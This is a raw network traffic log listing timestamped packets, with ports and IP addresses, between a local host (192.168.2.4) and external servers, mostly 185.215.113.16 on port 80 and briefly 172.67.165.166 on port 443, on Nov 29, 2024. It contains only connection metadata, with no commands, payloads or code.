Nov 29, 2024 20:07:47.813955069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.816437960 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.816633940 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.816744089 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.855067015 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.855206966 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.855241060 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.855324030 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.857753992 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.857831001 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.858760118 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.858836889 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.858864069 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.858952045 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.864274979 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.864329100 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.864406109 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.864603043 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.869786978 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.869848013 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.869924068 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.870059013 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.875243902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.875442028 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.875448942 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.875572920 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.880722046 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.880773067 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.880882978 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.881067991 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.886225939 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.886300087 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.886349916 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.891577005 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.891660929 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.891750097 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.891908884 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.896900892 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.896990061 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.897012949 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.897049904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.902435064 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.902566910 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.902601957 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.902674913 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.907810926 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.907896996 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.908019066 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.913367987 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.913469076 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.913491964 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.918411970 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.918679953 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.918807030 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.918813944 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.918915987 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.924176931 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.924257040 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.924362898 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.929603100 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.929712057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.929721117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.929795027 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.935094118 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.935177088 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.935235023 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.940534115 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.940666914 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.940690041 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.942421913 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.946001053 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.946158886 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.946186066 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.946285009 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.951484919 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.951550007 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.951606035 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.956864119 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.956954956 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.956981897 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.957035065 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.962240934 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.962413073 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.006834984 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:48.006934881 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:48.008220911 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:48.009002924 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:48.009031057 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:48.024148941 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.024208069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.024231911 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.024349928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.025697947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.025808096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.025813103 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.025929928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.030956984 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.031033039 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.031114101 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.032427073 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.065363884 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.065419912 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.065448999 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.065577030 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.067293882 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.067492962 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.068106890 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.068171978 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.068227053 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.072112083 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.072240114 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.072360039 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.072444916 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.076169968 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.076293945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.077195883 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.078525066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.078623056 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.078634024 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.078716040 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.080894947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.080945015 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.080955029 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.081154108 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.083276987 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.083368063 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.083379984 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.084938049 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.085649014 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.085761070 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.085784912 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.085891962 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.088268042 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.088332891 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.088404894 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.090393066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.090451956 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.091993093 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.092889071 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.092976093 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.093036890 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.095164061 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.095258951 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.095367908 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.095451117 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.097520113 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.097624063 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.097646952 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.097944021 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.099878073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.099924088 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.100332022 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.102243900 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.102343082 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.102360010 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.102447987 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.104628086 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.104747057 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.105319977 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.107018948 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.107100010 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.107103109 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.108794928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.109405041 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.109488010 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.109553099 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.110327959 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.111766100 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.111824036 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.111852884 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.112024069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.114142895 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.114197969 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.115535975 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.116535902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.116611004 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.116612911 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.116789103 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.118911028 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.118999958 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.119025946 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.119062901 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.121293068 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.121414900 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.121431112 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.121507883 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.123625994 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.123723030 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.123799086 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.125293016 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.126004934 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.126080990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.126091003 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.126183033 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.128390074 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.128518105 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.128978968 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.130788088 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.130861998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.130897999 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.131006956 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.133234978 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.133330107 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.133479118 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.135516882 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.135596037 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.135768890 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.135901928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.137906075 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.138025045 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.138992071 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.140274048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.140351057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.140369892 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.140574932 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.142640114 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.142752886 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.142788887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.142950058 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.145014048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.145153046 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.145181894 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.146410942 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.247829914 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.247915983 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.247944117 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.248666048 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.248684883 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.248765945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.248794079 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.248886108 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.250727892 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.250801086 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.250813961 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.250922918 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.252732038 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.252799988 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.252844095 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.253021002 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.254719019 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.254812002 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.254837036 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.254926920 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.276063919 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.276120901 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.276145935 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.276318073 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.276540995 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.276752949 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.276755095 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.276993990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.278315067 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.278508902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.278597116 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.278676033 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.280035973 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.280088902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.280163050 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.280250072 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.281904936 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.282053947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.282079935 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.283014059 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.283577919 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.283622980 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.284141064 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.284194946 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.285422087 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.285502911 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.286957026 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.287136078 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.287210941 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.287241936 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.287322044 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.288944006 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.289071083 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.289236069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.290622950 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.290693998 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.291377068 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.292433023 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.292519093 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.292524099 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.292583942 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.294222116 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.294373989 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.294404030 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.295528889 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.295928955 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.296034098 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.296056032 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.296143055 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.297733068 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.297846079 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.298881054 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.299504042 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.299628973 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.299658060 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.299757957 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.301215887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.301326990 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.301352978 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.301413059 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.303003073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.303055048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.303082943 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.303193092 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.304758072 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.304850101 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.304868937 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.305412054 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.306504011 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.306678057 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.306809902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.308274031 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.308361053 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.308377981 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.308424950 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.310064077 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.310137987 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.310302019 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.311799049 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.311917067 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.311939001 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.312061071 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.313565016 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.313640118 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.313690901 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.313750029 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.315347910 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.315494061 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.316001892 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.317095041 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.317186117 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.317212105 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.317280054 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.318897963 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.319041014 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.319511890 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.320663929 CET	80	50077	185.215.113.16	192.168.2.4
